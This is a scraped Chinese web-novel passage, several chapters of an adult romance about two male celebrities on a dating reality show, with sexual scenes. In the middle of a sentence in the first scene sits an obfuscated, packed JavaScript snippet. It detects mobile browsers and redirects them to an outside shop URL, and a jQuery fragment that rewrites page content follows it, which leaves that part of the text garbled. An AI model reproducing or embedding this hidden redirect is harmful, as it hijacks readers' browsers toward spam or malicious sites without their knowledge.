陆屿洲握着季沨的肩胛,力道大到像是要他把捏碎,他的语气终于从祈使句进化到了命令:“不许吻别人,只能亲我。” “爱是一个时期为了粉饰性/欲而……” 季沨的话还没说完,陆屿洲忽然再一次吻住了他,他的吻迅猛急切,像是一只被俯身的怨灵,要把他渴望和欲念全发泄在他一个人的身上,季沨疑心自己的舌尖可能被咬出了血,可陆屿洲的语气却让人疑心他才是那个受了委屈的人:“领巾没有味道了……我找不到你用的香水。” “我的画扔了好多遍,你答应做我的模特的。” “睡不着……我好难受。” 陆屿洲断断续续,语无伦次地抱怨,最后一口咬在了季沨锁骨上,生平第一次在他胸口以上留下标记:“季沨,你好狠心。” “你还记得我们第一次见面是什么时候吗?”季沨突然伸手碰了碰他的眼睛。 陆屿洲琥珀色的眼眸眨了眨,显然对他来说,连喝了四杯冰山美人的那天晚上,是比现在还要神志不清的。 “笨蛋。”季沨轻轻笑了下。 陆屿洲从来没见季沨脸上露出如此甜腻勾人的笑,目光一怔,觉得自己的心脏都快要跳出来,双手一撑便要扑上去,季沨却在这个时候一只手推上他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357161|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胸膛:“我还没洗澡。” “没关系。” 这人不是洁癖吗?季沨怀疑他把脑子给喝坏了:“陆屿洲,你也没洗澡。” 陆屿洲唰得定住了。 这句话对一个洁癖的杀伤力显然比季沨不洗澡要大得多,陆屿洲唰地站起身,就在季沨以为他要离开的时候,陆屿洲却突然将季沨打横一抱,手指握紧他劲瘦的腰,那是和他们一个月前那晚一模一样的话:“一起吧?” 花洒还没打开,衬衫扣子已经被扯了个彻底,季沨被他放在洗手台上,手指正要往下,陆屿洲不知是想起了什么,居然在这种时候硬生生刹住了车。 季沨眼睁睁看着他凭借着惊人的意志力站起身,一路走到卧室拿出行李箱,随后猛地打开箱子—— 20寸的行李箱里,一半是陆屿洲在短短一天的综艺给自己准备的各套战甲。 而另一半,则是…… 某种,不,应该说是某些。 某些……日常用品。 很齐全,几乎将他们之前试过的、反馈还不错的全带了过来。 其中还有一些新的,比如陆屿洲今天在休息室里跟季沨描述过的那个腰环。 纯黑的皮套,略宽,腰环中间还坠了一颗绿松石,陆屿洲一抬手,它便晃动起来。 若是陆屿洲理智尚存,他应该会在这种事上听从季沨的意见。 但是现在他喝醉了。 于是陆大设计师任性地只挑了自己喜欢的,放在季沨身上会很漂亮的。 走过来的时候,一身的环佩叮当。 皮圈扣在雪白的腰身,那枚绿松石正好坠在脐心,陆屿洲一只手握住他的腰窝,看着那抹亮晶晶的宝石在季沨的腹部起落,又摸出了一个别的。 冰凉的触感滑过胸口,季沨声音发颤,瑟缩着贴紧墙壁:“我不……” “你自己问过我喜欢什么样的,”陆屿洲语气带着点轻轻的抱怨,像是在指责季沨的不负责任,“我喜欢这个。” “会很漂亮的……” 陆屿洲语气像是在哄孩子,却猛地俯身将季沨压在墙上,薄唇贴着他的耳廓,轻声讨好:“好不好,哥哥?” 24、第二十四章 “季老师!陆老师!” 季沨第二天是被一阵敲门声唤醒的。 也许是喝了酒再加上昨天晚上太过卖力的缘故,陆屿洲破天荒地没有五点起床去跑步,甚至睡得比季沨还要死。 俊美的胸膛半露着,一只手还搭在季沨的腰间。 “陆老师?季老师?你们醒了吗?” 门口的敲门声还在响,季沨坐起身打了个哈欠,滑落的被褥露出带着吻痕的锁骨:“什么事?” “今天要来录cp起床视频的,”外面传来潘叙的声音,“如果你们准备好了那我们就进去了啦?” 草! 忘了这茬了! “陆屿洲!”季沨推了他一把,压低声音唤道,“醒醒!” “好吧……” 陆屿洲在睡梦中嘀咕,脑袋往下埋了埋,准确无误地咬住胸口的位置:“……再来一次。” “嘶……” 昨晚记忆瞬间被唤醒,这个经受了太多折磨位置泛起一阵细密酥痒的疼痛,季沨一脚将睡得正香的陆屿洲踹下去,咬牙道: “妈的陆屿洲,快起来穿衣服!” * 探房是早就定下的,连时间也固定,因此潘叙他们是带着直播设备来的,却足足在门口等了七分钟才进去。 潘叙还以为他们俩是要跟其他明星一样搞什么“不经意的精致早起妆”,比如盖了两层粉底还非要说是粉嫩妈生皮,或者明明头发都做好了还要从被窝钻出来搞个睡醒朦胧气泡音。 当然,按照这两位的咖位,即便是如此他也是要积极配合的。 因此潘叙一进去就让摄像扫了个大全景,确保二位的每一点布置都能被收入视线—— 别墅的房间不小,为了防止二人尴尬,节目组的准备的还是双人床,其中一个床上的被子叠得很工整,是昨天工作人员走前的模样,另一个被褥倒是收起来了,只是收了还不如不收,床单上的褶皱都没抚平,被子叠得朝向也不一样,看起来反而有点欲盖弥彰。 就好像……他们俩昨天只用了一张床似的。 当然,房间里也有沙发,而且还不小,沙发上倒是很干净,只是边缘似乎搭了件黑色的什么东西,镜头还没来得扫过去,季沨便眼疾手快地将它扔在了抱枕下。 潘叙于是注意到了房间里的抱枕其实也有点奇怪,沙发上抱枕的摆放按理说应该是和靠背的花纹一致,可是那些抱枕却被打乱了。 就好像……被什么碰到地上,又给慌乱地捡起来一样。 行李箱是刚刚打开的,连合都没有合上,梳子和一管遮瑕一样的东西躺在化妆桌上,按理说是这应该是打扮过的预兆,可是……等潘叙的镜头真的扫过二人—— 季沨坐在沙发上,长腿微曲,懒洋洋打了个哈欠,凭着潘叙那5.0的卓越视力,丝毫看不出的脸上有任何擦脂抹粉的痕迹,皮肤依然柔嫩光洁吹弹可破,只是头发上翘了两根呆毛,看起来有一种刚睡醒的慵懒随意。 陆屿洲并没有坐在他旁边,而是正站在全身镜前挑选自己的领带,身为模特,他对自己搭配一向严苛,很多机场生图都成了一段时间的风向标,这个动作原本无可厚非,更何况陆屿洲站得笔直姿态严肃。 如果不是……他身上那件明显过小的衬衫的话。 确实是小了点,陆屿洲的腕骨都露出了一截,手臂和胸口几乎可以看到紧箍的肌肉形状,像他这种顶级超模很多衣服都是定制,压根不可能出现大小不合适的情况。 陆屿洲显然自己也意识到了这点,手上的领带比到胸前,突然回头看了季沨一眼。 潘叙这才意识到季沨刚刚身上穿着的那件衣服。 是件和陆屿洲同色系的衬衫,面料看起来也差不多,只是季沨身上的这件看起来更有光泽感一点。 当然……也更大。 袖口一直到了季沨虎口处,领口的位置也松松垮垮的,肩部的位置明显比季沨本人的线条要宽,季沨要是再动一下,估计就能沿着锁骨滑下肩胛。 潘叙原本以为这是季沨故意选了个宽松的给自己当oversize睡衣,现在看起来,好像是—— 【卧槽!】弹幕惊呼出声,【季沨身上这衣服不是陆屿洲的吗?!!!】 【我靠!这不是纽约时装周上kim刚发的新款,内娱我只见陆屿洲一个人穿过吧!】 【对啊对啊对啊!!还有这只睡了一张的床,沙发凌乱的抱枕,这个穿错了的衣服,虽然我不该yy,但是,但是!他俩昨天晚上真的不是do过了吗??!!】 【啊啊啊啊我草啊我死了这对不会真的我草啊恋综就一天你们这么迫不及待的吗?!!】 【禁止造谣!禁止污蔑!只是款式像罢了,况且人家季沨又不是约不到高定?就不能穿同款吗?!】 草!穿错衣服了。 都怪陆屿洲,干嘛非要跟他的放在一起! 季沨自己显然也发现了,不着痕迹地向上提了下领口,试图盖住昨晚留下的咬痕。 陆屿洲突然在这个时候朝他走了过来。 他手上搭着刚刚原本为自己准备的亮蓝色缎面领带,微一俯身,将它挂在了季沨的脖颈上。 陆屿洲眼眸低垂,动作专注地为季沨系着领带,指尖扫过季沨领口的时候,不着痕迹地在那点咬痕上碰了一下,季沨一颤,他便已经将手中的领带一松,垂下的位置恰好盖住那道殷红的咬痕。 修长的手指灵活地挽了一个温莎结,陆屿洲退后半步,欣赏道:“这个也还不错。” 这句话简直将还在负隅顽抗的弹幕击了个粉碎,陆屿洲就好像是干完这票打算退圈似的,当着镜头的面笑道—— “很衬你,季老师。” 25、第二十五章 【什么???所以季沨身上这件衣服真的是陆屿洲吗?】 【陆屿洲这话跟直接承认了有什么区别,就差说这衣服是我给他穿上了的。】 【卧槽?不会真的do了吧???】 以上弹幕应该是正常反应,但是在他们这个圈子里,越是真情侣才越是要避嫌,陆屿洲这样从来没有同过框还如此卖力的,只会达成一种效果—— 【别搞笑了,他俩上次在星光盛典上还在冷脸吧,你是觉得他们俩能在第一次见面就do上?还是觉得他俩参加个节目,还能带着套和润滑?】 【就是,谁会在一天的综艺里带这些东西啊,就这么迫不及待吗不怕导演和工作人员进来?】 【换个思路想想,也许人家就是故意等着导演进来说这些的呢?毕竟现在就是热恋期情侣人设吧?】 【所以刚刚七分钟不开门是去布置这些了吗,我就是季沨这次怎么穿个衬衫扣子全给扣了!他妈的这俩人可真拼啊!】 【就是,大早上的还特意起床精心布置,悄悄这凌乱又不失心机的刻意,瞧瞧这关怀却全是演技的眼神,季沨你要是心思全用在这个地方不早就是影帝了吗!】 季沨脖颈上是带着陆屿洲体温的领带,背后的抱枕里还藏着昨晚叮咚了一夜的腰链,整个人都不太敢动。 可始作俑者陆屿洲似乎压根没有这样的顾虑,衬衫袖口有点紧,他索性直接把扣子解了挽起来,这才抬眸望了眼一旁的潘叙:“早上查房,是有什么任务吗?” “没有没有,”潘叙说,“本期的任务已经结束啦,主要是来看看各位老师的生活状态,另外提醒一下,等会儿几位指导老师要根据各位的表现进行单独点评,您可以先准备一下。” “嗯。” 陆屿洲点了点头,温和道:“辛苦了。” 潘叙是见过陆屿洲昨天将汽水瓶子扔进垃圾桶和徒手捏爆玻璃杯时的凶猛行径的,现在乍一听到这话,整个人一个激灵。 可惜陆屿洲本人并没有注意到,隔了一个月,他终于在昨晚做到了午夜梦回的事,虽然是喝断片了,可也从头到脚感到一阵身心舒畅,现在正处于一种大赦天下的状态,鼓励完潘叙,又回头问季沨:“吃早饭吗?” 季沨疑惑地一抬头。 “我去给你做。”陆屿洲说。 现在变得这么贤惠,季沨一点头:“那我要……” “季老师,”陆屿洲轻轻笑了下,“既然我吃什么你说了算,那你吃什么……” 他的目光落在季沨收紧的领口处:“也是我说了算吧?” “那当然,”季沨一点头,手指在陆屿洲系好的领带上勾了下,意味不明道,“我相信陆老师不管做什么都是很好吃的。” 陆屿洲轻轻地咳了一声。 * 等季沨坐到餐桌前,端到面前的早餐是厚蛋吐司和手冲咖啡。 和一个月前的那天早上一模一样的规格。 只不过季沨的那杯按照他的口味加了奶和糖,味道几乎快成了拿铁,陆屿洲又洗了一小碟水果,用来给季沨补充维生素。 他力图还原那个早上的一切,并认为经过昨天,和季沨的关系已经可以回到从前,现在内心像一个要大赦天下的菩萨,看到谁都自带佛光,甚至看到旁边路过的江沼还主动问道:“要不要吃早饭?” 江沼不知在想什么,被打断时一个恍惚:“早饭?你做的?” “嗯。” 或许是错觉,江沼总觉得陆屿洲看自己的目光里充满了喜悦和慈爱。 难道是因为自己昨天提点了他两句,导致陆屿洲对自己感激涕零? 江沼倒是不客气,自己去厨房扒拉了一会儿,端着盘子出来,却没有立刻吃,反而是看了看季沨又看了看陆屿洲,犹豫了半天。 像是终于觉得沉默寡言的陆屿洲似乎比死对头季沨在保守秘密这件事情上似乎更让人放心一点,最终鬼鬼祟祟来到陆屿洲面前:“你吃完了吗,问你个问题?” 好容易这边没有摄像,陆屿洲十分珍惜和季沨能够清醒着单独谈话的机会:“有事就在这里说。” “好吧。” 江沼戳了将一个煎蛋给戳成了筛子,终于开口:“如果……我是说如果,我有一个朋友。” 季沨微一挑眉。 “他喝多了,跟另外一个人不小心上了床,结果那人早上醒来对他来说,大家都是成年人,又都是混圈的,这种事情发生了就过去了,别放在心上。” “这正常吗?” “正常啊,”季沨点点头,他跟陆屿洲第一天晚上醒来后也是这么说的,“酒后嘛,身不由己也有的,况且大家又都没吃亏,过去了就过去了。” 陆屿洲脸上的笑容唰地消失了。 “是吧,”江沼想了想,“我觉得也是,我们这个圈子嘛,上个床而已,有些人拍个戏还换个床伴呢,换了就换了。” 季沨连连赞同:“你说得对。” 话音刚落,江沼的盘子就被恶狠狠地抽走了。 “我突然想起来,”陆屿洲脸上的佛光不见了,“这吐司我烤煳了,容易致癌,别吃了。” 果然刚刚只是错觉吧? 江沼目瞪口呆,指指旁边的季沨:“那他的为什么能吃?” 陆屿洲转头望向季沨。 “我觉得吧,”季沨突然又补充,“也不能这样想。” “万一那个人身材啊脾气啊性格啊尺寸啊都合适呢,大家发展一下长期性关系也不是不可以,”他说着喝了口咖啡,微微笑道,“如果特别合适的话,比如有点才艺啊会弹琴啊会唱歌啊,或者说是审美特别好会挑个领带做个衣服送个首饰啊……” “好像也不是不可以再放宽一点要求。” 陆屿洲的眼眸瞬间明亮起来。 江沼的目光狐疑地在二人身上扫了一个来回,却见陆屿洲突然在这个时候站起身:“锅里好像还有两个煎蛋。” 陆屿洲说着,将煎蛋用锅铲铲出来,给他装进了……打包盒里。 随后,把盒子往江沼手里一塞,温和道:“吃完了去看看你朋友吧。” 江沼迎着他的目光,总觉得这句话的全意应该是……拿上快滚。 毕竟是已经蹭到了饭,江沼识相了地拎着东西走了。 季沨淡淡地抿了口咖啡,看着陆屿洲在自己面前坐下来,手指不住地摩挲着玻璃杯,想说什么又不敢开口的样子。 于是季沨试图站起身:“我吃饱了,先走了。” “等等!”陆屿洲一下按住他的手腕,“我有事跟你说。” “嗯?”季沨来了点兴致,“什么事?” “那个……”陆屿洲一只手抚摸着玻璃杯的外沿,想起季沨之前说的话,忽然微微偏过头,“你觉得我怎么样?” 这句话很像是某种烂俗的开场白,只不过季沨的态度没有丝毫要暧昧的意思,微一挑眉:“你指的哪方面?” 没听说过这种问题还要具体到哪方面的,结果陆屿洲还真的转过来,玻璃外壁的湿气印了一点湿润在手指,他颇为认真地询问:“身材?” 季沨自上而下扫了他一眼:“很棒。” “性格?” “还好吧……”季沨想了想,补充说明,“对我还好。” “尺寸?” “很合适啊。” “昨天……唱的歌?” “好听,陆老师。” “领带?” “眼光不错。” …… 几乎是每问一句就会得到一句夸奖,陆屿洲长长地舒了一口气,松开握着玻璃杯的手。 “那,”杯口处出现了一点透明的指痕,陆屿洲盯着季沨的眼睛,终于问出了自己费尽心思来到恋综的目的—— “季沨,你要不要考虑跟我恢复关系?” 26、第二十六章 陆屿洲的目光直白坦诚,但是季沨却没有立刻答复。 季沨眼角噙着笑,外套懒散披在肩上,里面套着陆屿洲的衬衫和领带,如他大多数时候表现出的一样姿态诱人。 却不主动也不拒绝。 “我知道你的顾虑,”陆屿洲没有听到答复,于是换了一种委婉道,“我们可以等到这场戏结束,或者现在这样,恋综上……” “季老师!陆老师!” 陆屿洲的话还没说完,潘叙就小跑过来:“宋老师那边准备好了,咱们差不多可以过去了。” 话题到了这里便被打断,二人的眼神瞬间分开。 季沨抬步往演播厅走去。 毕竟也在圈里待过几年,季沨在一些场合跟这位传说中的影帝有过几面之缘。 宋骁相貌英挺,是很传统的硬汉长相,可惜下了个戏就是懒汉,不管是颁奖典礼晚会还是什么活动,从来不会将心思花在打扮上,如果不是名气太大,乍一看其实很像是工作人员。 现在也是。 比起节目里花枝招展的年轻演员,他整个人显得有些过于朴素了,只穿了一件黑t和一件牛仔长裤,旁边还放了个保温杯,感觉再提个鸟笼马上就能去公园遛弯。 全身上下唯一的装点反而是那双眼睛,漆黑明亮,仿佛能将人一眼照透:“季沨,对吧?” “宋老师好。”季沨立刻笑着营业,“我之前看过您的电影,很喜欢那部《双生》,能够得到宋老师的指点真是太荣幸了。” “谢谢。” 宋骁并没有将他的客套仅仅当做客套,反而是道:“我也看过你的。” 季沨一愣,他出道到现在应该只拍过偶像剧才对,受众显然不是宋骁:“演技不好,让宋老师见笑了。” “见笑?”宋骁说,“应该是惊喜才对。” “《晚来天欲雪》,两年前你第一部大火的电视剧,还有印象吗?” 季沨眼眸一抬。 “第十七集第二场,你在里面扮演一个病弱的神医,可是这个时候,一个一直以来陪着你,像是朋友一样的病人死在了你面前,这是一场高潮戏。。” “不用盯着我的脸,”宋骁抬手按了下遥控器,背后的投影仪打开,示意他,“看屏幕。” 季沨原以为宋骁所说的看过他的戏只是一句托辞,毕竟是圈子里都说宋骁过来只是给家里赚奶粉钱,这个综艺明眼人看着就是明星演偶像剧观众看乐子,营销博个噱头罢了。 可宋骁居然还真的试图在认真地给他们讲戏。 他甚至将季沨演过的那场戏给单独截了出来。 季沨在心里对了些对影帝的敬畏,神情也变得严肃起来。 “挚友离世,身为医者却无能为力,这场戏很考验功底,”宋骁并没有因为这是偶像剧而放松要求,“你的这位对手,给了一个标准的错误答案。” “身为一个将死之人却还在声嘶力竭痛哭流涕,会让人觉得他是不是血还没有流干。” “与其说是跟挚友告别,不如说是在全方位的展示他刚垫的鼻子和精心削骨的侧脸。” 但是这部戏其实是被他这位对手的粉丝视为高光的,现在还在此人演技证明的剪辑集锦里。 果然啊,还是老牌影帝比较敢说。 季沨瞥了眼还亮着红灯的摄像,虽然为了后续正式播出的吸引度,这里的谈话并没有进行直播,但如果不进行剪辑……宋骁估计会被那人粉丝冲死吧。 “也没有啦,”季沨谦逊一笑,试图替宋骁挽回一点,“阿晨演技比我强很多的,每次跟他对戏都能学到不少。” 虽然在您老人家确实看不上眼,但是对我们流量来说已经是矮子里面拔将军了,所以拜托还是高抬贵手换个话题吧。 可是宋骁偏不,反而是道:“你不用谦虚,你跟他可不一样。” “你比他强多了。” 季沨微一挑眉,听得宋骁按下播放键,继续道:“发觉挚友的一瞬间,你并没有崩溃失控……” 投影仪随着宋骁的声音播放,画面上是季沨当年的片段,腊月寒冬里,他全身上下只穿了一件天青色单衣,腰身细瘦,嘴唇发白,手臂的地方被鲜血染得通红,意识到身旁的人倒下时,他瞳孔紧缩,身体颤抖,像是被狂风卷过的一棵劲竹,垂眸愣愣地看了倒在地上的人一眼。 镜头很快切到全景,长风吹动他的发丝,大雪堆在他的膝头,他脊背停得笔直,万山风雪汇在他的身上,他的眼角落下一滴不易察觉的泪。 那颗泪像是一滴风雪中的琥珀,点缀在季沨那张即使不施粉黛依然漂亮卓绝的脸上。 但也只是漂亮。 身为扮演者,季沨很清楚这场戏的评价是怎样的。 因为如果说对方那个是演技大赏的,季沨则是每次营销都要被这个片段拿出来鞭尸一遍—— 【阿晨死的那一瞬间季沨是被定住了吗?挚友都死了!眼神却还那么呆滞,甚至连个眼眶都没红,苍天啊,就算是个花瓶也应该买得起眼药水吧!】 【后面不是买了吗?这种重场戏摇了半天的天空才切回正脸,难道不是因为季沨演技压根跟不上吗?偷偷去滴眼药去了吧。】 【我们顶流花瓶当然是不会舍得做大表情的啦,不然脸崩了找你投诉吗?】 季沨对这些评价习以为常,他原本也不是很在乎,可是今天第一次听到有人说: “你的表演是对的。” 而且对方还是一个四金影帝。 宋骁的语气带着不容置疑的权威性: “你是神医,看到挚友倒下的第一反应不应该是悲痛,而是先看看自己有没有机会拯救,你瞳孔紧缩,这是讶异的表现,肌肉紧绷手指颤动,应该是在试图进行最后一次施救。” “如果我没有猜错,你后面应该还有其他的表演,只可惜下一幕直接切了大全景,等救治完了才切回来第二个特写。” “你的情绪很对,这个人物性格原本就是内敛的,而且他是受到正统礼教出身的世家公子,泰山崩于前依然要注意礼节,悲痛或许会让一个人失控,但是刻在骨子的里东西是没有办法改变的。” 即便是这种粉丝特供的偶像剧,宋骁分析依然客观理智,“他这个时候的情绪应该是很复杂的,不止是悲痛,还有对自己医术的质疑,对未来的茫然,以及在挚友面前才能展示的脆弱。” “它是一个循序渐进的过程,这部剧的导演我认识,他喜欢大开大合的表演,不会有这么细腻的情感安排,应该是你自己的主意。” “可是这后面的表演却并没有出现在正片里,导致整体的逻辑彻底断层。” “有人剪辑掉了你的戏份,”宋骁声线平稳镇定,好像是外科医生的手术刀,一点一点地将季沨隐藏的那部分清晰地剖了出来,“为什么?” “你是这部片子的男主,按理说不会被一个配角压戏……”宋骁黑沉沉的眼睛注视着季沨: “得罪导演还是投资方了?” 季沨瞳孔骤然一缩。 他从上节目以来游刃有余的状态瞬间被打破了,像是一位真正的捕猎者完全被唤醒,漂亮眸子里充满警惕。 在某个行业过分出众的人总归会有些过于常人的天赋,宋骁在看人这方面确实有些本事。 可惜季沨也是。 不过一瞬,季沨立刻又恢复了那种笑意盈盈漫不经心的状态:“宋老师您太抬举我了,其实我拍那场戏的时候什么也没想,最大的感受就是雪太大冻得脸有点僵。” “你知道的,我演技一向不太好,导演他们是在帮我救场来着。” “不,”宋骁摇了摇头,“你不是演技不好,季沨。” “你是演技太好了,也太聪明。” “真的吗?”季沨眨了下眼睛,漂亮瞳孔闪着亮晶晶的光,任谁看了都要说一句笨蛋美人,“宋老师,我真的还有希望吗?” “不用跟我装傻。” “既然如此,那我就再挑明一点,”宋骁微微倾身,黑沉沉的眼睛里是笃定的探寻—— “你跟陆屿洲,之前真的不认识吗?” 季沨插进口袋的手指一紧。 27、第二十七章 季沨当然认识陆屿洲。 远比宋骁以为得要早,远比陆屿洲以为得也要早。 四杯冰山美人只是一个开始,打破一个习惯的前提是建立一个习惯。 为了这个习惯,季沨准备了半年。 半年来床上的亲密无间,半年来床下的默契配合,他们在无数个相拥的夜晚将彼此嵌入对方的生活。 然后—— 蓦地拔出。 “不跟资方上床”当然是骗人的假话。 如果一个人从来只固定跟另一个人上床的话,他又是从哪里来的判断标准呢? 他不过是需要一个借口,一个将他们的关系、习惯、视角重新打破再开始的借口。 所以他在“陌路”看到陆屿洲之后,故意在朋友圈发了那杯酒。 季沨就是要逼着陆屿洲去审视,去压抑,去克制。 当然,不能太久。 所以他跟郝景约了那场杂志封面。 十天是一个很好的时间段,刚好处于21天的临界值,进一步似乎就能够忘记,可是退一步,就是前功尽弃。 拍摄的那天,露台上的季沨早就注意到了陆屿洲。 作为一个演员,如果他连那样炽热的视线都察觉不到,那季沨早就被私生扒了一万回了。 但是陆屿洲的视角里,季沨就是一次也没有回过头。 他只是刚好出来透气,刚好将那条染了香水味的丝巾解下来,刚好随手放在了露台上。 又刚好,被一个人带回了家。 回去发现丝巾不见的那一刻,季沨就知道自己成功了。 骗他来恋综倒是让季沨有点意外,只不过手段不怎么高明。 因为郁容只需要稍稍在闲聊中提起——“我是从陆老师那里得到的消息。” 季沨便能瞬间猜到前因后果。 当然,小朋友难得主动一次,季沨不会打扰这位尚且稚嫩的、自以为是的猎人。 所以他表现出了恰到好处的吃惊,只为了赢的心态和游刃有余的不在意,仿佛真的相信了陆屿洲只是一个勤奋好学想要提升自己演技的模特。 他知道陆屿洲对他有过度的占有欲,知道陆屿洲远超出床伴的界限的关切和依恋。 那句已经分手了是故意说的,跟初禾的表演是故意给陆屿洲看的。 季沨当然也不会拿错高度酒。 他只是想确认一件事。 如果陆屿洲喜欢他…… 季沨需要知道他停滞不前的理由。 当然,如果陆屿洲不喜欢他。 那么那杯酒,同样也可以乱性。 大不了就是季沨骑一次罢了,在上面和在下面,反正他们也早就演练过许多次了。 就像是那天如果不是郝景的杂志封面,也会有别的秀场晚会。 就像如果不是“不和资方上床”,也会找到别的理由。 在陆屿洲的视角里,是他怀着不可告人的目的将季沨骗来恋综,并用自己的耐心和魅力再一次征服了这位前炮/友,让他放弃别的不可靠的人和朝三暮四的心思,相隔一个月却还是发现只有彼此最为满意最为契合。 于是他们当然要继续在一起。 这是稚嫩的猎人所编写的完美剧本,却不知道从第一页起,他的猎物早就已经在纸张上写好了注脚—— 天真、自觉、一无所察,季沨是再完美不过的猎物。 缜密、耐心、善于隐藏,季沨是再优秀不过的猎人。 在床上亲密无间,在床下默契配合。 他们从来天生一对。 季沨当然认识陆屿洲。 “认识啊。” 恍惚只一瞬,季沨望向宋骁,漂亮脸蛋上立刻又带着无可挑剔的笑,“我当然认识。” 他不着痕迹地望了眼旁边亮着灯的摄像机,唇角勾起:“陆老师当年那场‘神明之约’那么火,圈里稍微关注时尚圈的都会知道,认识他也不是什么很难的事情吧。” “谢谢宋老师对我演技的赞赏,受之有愧,再说了,这和我们的节目有什么关系呢?” 那一瞬间,宋骁在他身上看到了同类的气质。 他们是一模一样的掌控者性格,从各种意义来说,季沨都是个非常优秀的猎手。 而且,他还比自己年轻许多。 宋骁几乎可以预见这人远比自己还要璀璨的未来。 “没什么,”宋骁往后一靠收了攻势,“只是觉得你很聪明。” “这个圈子里不缺聪明的人,但是聪明人毫无破绽地做笨事,却很困难。” “你很优秀,”宋骁黝黑的眸子注视着他,“季沨,祝你成功。” “谢谢。” 季沨弯起眼睛,那是一句和在盥洗室里跟陆屿洲说过的一模一样的话:“我相信,不管什么事——” “我都会赢的。” * 季沨出门的时候,恰与正要进来的陆屿洲擦肩而过。 冷淡的木香钻进鼻腔,陆屿洲前面跟着带队的潘叙,后面跟着正准备开机的工作人员,却在这个时候拉了一下季沨的手臂:“季老师。” “等会儿结束之后,可以等我一会儿吗?” “刚刚的事情,”陆屿洲望向季沨,琥珀色的眼睛里带着期盼,“你还没有回答我。” 季沨抬眸望了他一眼,陆屿洲身上还穿着季沨那件小了一圈的衬衫,外面搭了件双排扣西装,原本扣到领口的纽扣只好解开两颗,倒显得那紧箍着的肌肉线条有些故意的诱惑。 季沨微微勾起唇角:“那你现在可以等我一分钟吗?” 陆屿洲于是停下脚步。 他和几位工作人员站起原地,看着季沨快步从楼上下来,他身上穿着陆屿洲的那件衬衫,手腕却搭了一条藕粉色印花领带,朝着陆屿洲勾勾手指:“过来。” 季沨一抬手,陆屿洲顺从地低下头,那条领带便挂在了他的脖子上。 虽然说模特总是风格多变,但是由于陆屿洲过分冷峻的长相,给他衣服一般也是暗色系为主,这种跳脱的颜色倒是很少尝试。 但是不得不说,季沨的色感很好,一点粉在大面积的灰里是一种格外精致的点缀,而且,跟季沨脖颈上那条属于陆屿洲的亮蓝色领带有种心照不宣的搭配。 季沨的眸光温柔又认真,微一俯身凑近陆屿洲,尾音像是呢喃:“过境。” “什么?” “我的香水名字。” 陆屿洲唰得睁大眼睛,还没等他反应过来昨晚喝醉时到底说了什么,便见季沨轻轻笑了下,指尖扫过他的侧颈,带起一阵酥麻,“刚刚的问题……” “我现在就可以回答你。” 季沨眼尾勾起,身体微微前倾,那是成熟的猎人在狩猎前的姿态,薄唇贴在陆屿洲的耳廓—— “要听吗,陆老师?” 28-30 第28章 第二十八章 “不了。” 陆屿洲一点头, 便听到季沨这样说。 如果只是恢复以前的关系,季沨一个月前就可以做到。 那他绕这么大圈子是为什么呢? 他会让陆屿洲明白,天底下没有会管对方给谁做饭跟谁调酒的炮/友。 “我想了想, 还是不太合适。” 特别是这个名词。 季沨说着拒绝的话,但是表情和语气却依然是温和的, 手指灵活地将领带打了个结,随后退后一步, 欣赏道:“这个也很衬你。” “送你了陆老师, 没味道了就换一个吧。” 季沨微微一笑, 轻声道:“这条材质比较舒服。” “经纪人来接我了,就不等你了。” 他说完, 退后一步挥挥手, 和之前在休息室里一样的语气: “再见, 陆老师。” 季沨说完,便弯腰坐进保姆车里。 从莫可那里要来手机,找到微信里命名为“L”的好友。 他和陆屿洲的聊天记录还停留在一个月前。 L:【今天的耳钉也不错,今晚可以戴着做吗?】 季沨叹了口气, 手指按在了删除键上。 最后一咬牙, 还是按了下去,把刚刚弹出的“确认删除”点了同意。 季沨说不要就是真的不要,那段关系已经结束了。 他不会给陆屿洲任何可能恢复炮/友身份的幻想。 只有一段关系彻底地结束, 才有开始另一段的新的可能。 做完这一切,季沨才将手机往旁边一扔:“莫莫, 杨导的戏什么时候进组来着?” * “怎么回事, 屿洲这孩子怎么还没来?他经纪人那边怎么说?” “十分钟前打的电话, 说是路上堵车耽搁了一会儿,刚刚发消息还没回。” “再催催, 眼看着时辰就要到了,上香的时候可不能耽误。” 剧组开机仪式必然要上一炷香,还要请大师挑个良辰吉日,这是大家不成文的规定,可是现在良辰吉日都在,唯有拿钱的金主爸爸代表还没出现,杨阶不免也有些着急,转头对一旁的季沨说:“季沨,你有没有小陆的私人电话,你给他打个试试?” 季沨正靠在栏杆旁玩手机,他今天的用的是剧里的妆造,长发被一枚缠丝银簪拢在脑后,发丝垂到腰际,衬得腰身细瘦身体修长,闻言应了声:“您都没有,我哪能有他的电话啊杨导。” “我看你俩在综艺上不是挺那啥的吗?” 杨阶虽然在艺术上大胆创新,但是骨子还是挺传统的,在他看来季沨跟陆屿洲在节目上那样子跟要结婚了没什么两样:“平时都不联系?” “杨导您真会开玩笑,联系方式都没有用什么联系啊?” 谁知道季沨话音刚落,背后突然传来一声冷飕飕的:“是啊,我给季老师发消息估计也是发不出去的。” 这话听起来颇有几分阴阳怪气的意思,更何况陆屿洲一张俊脸看起来并不怎么友善。 任何一个人费尽心思追到了恋综上,被人拒绝拉黑可能都不会太友善。 相比之前,陆屿洲已经算是十分有礼貌的了。 “真不好意思,”季沨弯起眼睛,姿态像对一个真正的资方一样,“但是杨导他们都没您的联系方式,我怎么敢先加呢?” “陆老师你也真是,我们一整个剧组,唯一的人脉居然是您的经纪人,到时候杨导瞒着您加经费了怎么办?” 杨阶立刻哈哈大笑了起来。 季沨总有这种三言两语热场的能力,杨阶刚刚心中对于陆屿洲迟到的那点不自在瞬间消失得无影无踪,肖诚也出来道:“好了好了,既然陆老师来了,那咱们就赶快开始吧,时辰快到了。” “来来来季老师,”他说着拉了季沨一把,“你俩长得高,你站这儿。” 他明显是想把季沨和陆屿洲放在一起,这样子画面出来也好看,谁知道察觉到他的意图之后,一旁的陆屿洲突然侧身移动了一步,将杨阶隔在了二人中间。 